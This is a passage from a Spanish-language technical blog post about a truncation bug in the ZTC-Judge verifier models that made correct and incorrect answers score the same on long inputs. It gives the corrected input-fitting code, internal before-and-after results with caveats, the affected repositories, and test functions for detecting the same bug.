&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AutoTokenizer&lt;/span&gt;

&lt;span class="n"&gt;REPO&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;FINAL-Bench/ZTC-Judge-27B&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;tok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AutoTokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;REPO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://huggingface.co/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;REPO&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/raw/main/ztc_config.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;TPL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MAX_LEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;template&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_length&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;n_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;special&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;add_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;special&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TPL&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;n_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;MAX_LEN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;          &lt;span class="c1"&gt;# entrada corta: no se toca nada
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;
    &lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TPL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fixed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;n_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;a_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;add_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;q_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;add_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;keep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MAX_LEN&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;fixed&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;keep&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;la respuesta sola no cabe en la ventana&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                            &lt;span class="c1"&gt;# al re-tokenizar pueden sobrar unos tokens
&lt;/span&gt;        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TPL&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q_ids&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;n_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;MAX_LEN&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;keep&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;
        &lt;span class="n"&gt;keep&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tres decisiones merecen explicación:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Entradas cortas, intactas.&lt;/strong&gt; Si todo cabe, &lt;code&gt;fit&lt;/code&gt; devuelve exactamente lo que habría producido la plantilla. Así se garantiza que no cambia ningún puntaje que ya habíamos medido.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;keep&lt;/code&gt; como presupuesto, no como corte.&lt;/strong&gt; Se cuenta primero lo que no se puede sacrificar (plantilla fija: 40 tokens con este tokenizador; respuesta: 5 o 6 tokens en nuestro ejemplo) y la pregunta recibe el resto.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El bucle &lt;code&gt;while&lt;/code&gt;.&lt;/strong&gt; Decodificar y volver a tokenizar puede cambiar el recuento en el borde de una palabra. Se reduce el recorte de 16 en 16 hasta que cabe. En la práctica, con una pregunta de 3.867 tokens, el resultado final tiene &lt;strong&gt;2.040 tokens&lt;/strong&gt; (cabe en 2.048), con 1.995 tokens de pregunta conservados, y termina en la pregunta final.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  ¿Qué dicen los números después del arreglo?
&lt;/h2&gt;

&lt;p&gt;La misma medición interna (57 pares, contexto largo) comparó varias formas de ajustar la entrada:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Estrategia&lt;/th&gt;
&lt;th&gt;Pares con la correcta por encima (de 57)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Original (corte por la derecha)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;0&lt;/strong&gt; (57 empates)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corte por la izquierda (primer parche, descartado)&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quitar el centro de la pregunta&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Conservar la cabecera y recortar la cola (publicado)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;43&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-c5cbd2b0-e895-4dfe-a4e2-c4f08adbfbd6" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-c5cbd2b0-e895-4dfe-a4e2-c4f08adbfbd6" alt="Cuatro formas de ajustar la entrada a 2.048 tokens" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Y el desglose del resultado final frente al original:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-10e66b3a-ae44-42be-a8e8-dd28e101a425" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-10e66b3a-ae44-42be-a8e8-dd28e101a425" alt="Original: 57 empates. Con _fit: 43 aciertos, 0 empates, 14 con la incorrecta por encima" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cinco matices que no queremos esconder:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;43 de 57 no es 57 de 57.&lt;/strong&gt; El arreglo devuelve la señal, no la devuelve entera. En los 14 pares restantes la respuesta incorrecta puntuó más alto. Recortar la cola de una pregunta pierde información, y a veces esa información era la relevante. Es la parte irreductible del problema: un modelo con una ventana de 2.048 tokens no puede leer 3.867.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El conjunto es pequeño y lo usamos también para elegir.&lt;/strong&gt; Con 57 pares, las diferencias entre 38 y 43 no son concluyentes. Elegimos "conservar cabecera" porque la lógica de la plantilla lo favorece y porque la medición no lo contradice, no porque 43 sea estadísticamente mejor que 38.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;La estrategia asume que las instrucciones y opciones están al principio.&lt;/strong&gt; Si en tu formato las opciones van al final de un documento largo, recortar la cola las perdería. En nuestra medición interna, una variante estructurada del mismo método dio 46 de 57; la versión publicada es la general y dio 43.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Son cifras nuestras.&lt;/strong&gt; Medimos con nuestro propio banco de pares, en nuestra infraestructura. No las ha recalculado un tercero, y no deben leerse como una validación externa.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Qué sí está confirmado y puedes comprobar tú mismo:&lt;/strong&gt; el código corregido está en el repositorio público, y la prueba de colisión de &lt;code&gt;input_ids&lt;/code&gt; de más abajo es determinista.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ¿Qué repositorios cambiaron y qué quedó fuera?
&lt;/h2&gt;

&lt;p&gt;El 2 de noviembre de 2026 publicamos el arreglo en los repositorios públicos de la familia de verificadores:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repositorio&lt;/th&gt;
&lt;th&gt;Cambio publicado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FINAL-Bench/ZTC-Judge-27B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;_fit&lt;/code&gt; en &lt;code&gt;ztc_judge.py&lt;/code&gt; y &lt;code&gt;usage_curve.py&lt;/code&gt; (commit &lt;code&gt;800940e&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FINAL-Bench/ZTC-Judge-9B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Se añade el scorer corregido (commit &lt;code&gt;5d9843b&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FINAL-Bench/ZTC-Judge-4B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Se añade el scorer corregido (commit &lt;code&gt;b6e0a54&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Cada tarjeta incluye ahora una entrada de historial de cambios: las entradas por encima de &lt;code&gt;max_length&lt;/code&gt; se recortaban por la derecha, lo que eliminaba la respuesta al final de la plantilla y hacía que respuestas correctas e incorrectas puntuaran igual; el verificador ahora reduce la pregunta y conserva la respuesta y la pregunta final.&lt;/p&gt;

&lt;p&gt;Otros modelos de la familia ZTC que se sirven con un servidor propio rechazan con un error explícito (422) las entradas que superan 32.768 tokens, así que fallan de forma ruidosa y no silenciosa. Es, por cierto, el comportamiento que preferimos: &lt;strong&gt;fallar fuerte es mejor que devolver un número plausible.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo comprobar si tu verificador tiene el mismo fallo?
&lt;/h2&gt;

&lt;p&gt;Tres pruebas, de menos a más importantes. Todas funcionan con cualquier modelo que ensamble una plantilla y la pase por un tokenizador con &lt;code&gt;truncation=True&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prueba 1: ¿sobrevive el final de la plantilla?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tail_survives&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TPL&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;truncation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MAX_LEN&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Prueba 2: ¿dos respuestas distintas producen entradas distintas?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;same_input_for_different_answers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;enc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TPL&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;truncation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MAX_LEN&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input_ids&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nf"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# True = tu verificador no ve la respuesta
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ejecutadas sobre el código original, con una pregunta de relleno de 1.400, 2.400 y 3.800 tokens, devuelven (&lt;code&gt;tail_survives&lt;/code&gt;, &lt;code&gt;same_input...&lt;/code&gt;): &lt;code&gt;True / False&lt;/code&gt;, &lt;code&gt;False / True&lt;/code&gt; y &lt;code&gt;False / True&lt;/code&gt;. Ejecutadas sobre &lt;code&gt;fit&lt;/code&gt; con 1.400, 3.800 y 6.000 tokens, la respuesta sobrevive y las entradas difieren en los tres tamaños.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prueba 3: ¿el arreglo es neutro en entradas cortas?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;short&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Which compound is released?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C. Allomone&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;TPL&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C. Allomone&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si tu pipeline tiene puntajes ya publicados, esta prueba es la que protege tus métricas anteriores. Añade además un caso con &lt;strong&gt;&lt;code&gt;pytest&lt;/code&gt; parametrizado por longitud&lt;/strong&gt; (por ejemplo 500, 2.000, 2.100, 4.000 y 8.000 tokens) y exige que el puntaje de dos respuestas distintas difiera siempre. Un test de regresión que solo prueba entradas cortas habría pasado siempre en nuestro caso.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Un &lt;code&gt;truncation=True&lt;/code&gt; sin más es siempre un error?&lt;/strong&gt;&lt;br&gt;
No. Es seguro cuando lo que se pierde por la derecha es información de bajo valor. Es un error cuando la plantilla coloca al final lo que decide el resultado: la respuesta, una pregunta final, un token de clasificación. Revisa dónde va lo importante antes de elegir el lado.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué no se cuenta como un fallo del modelo?&lt;/strong&gt;&lt;br&gt;
Porque el modelo hizo exactamente lo que se le pidió: leyó la entrada que recibió. El fallo estaba en el preprocesado, que decidió en silencio qué parte de la entrada existía. Los fallos de este tipo no aparecen en el benchmark, porque el benchmark usa entradas que caben.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Afecta a los resultados publicados de ZTC-Judge?&lt;/strong&gt;&lt;br&gt;
Las métricas de la tarjeta se midieron con entradas de longitud estándar y no cambian con el arreglo. El cambio afecta a quien use el verificador con textos largos, que era el caso en que el código antiguo no era fiable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué no ampliar &lt;code&gt;max_length&lt;/code&gt; y ya?&lt;/strong&gt;&lt;br&gt;
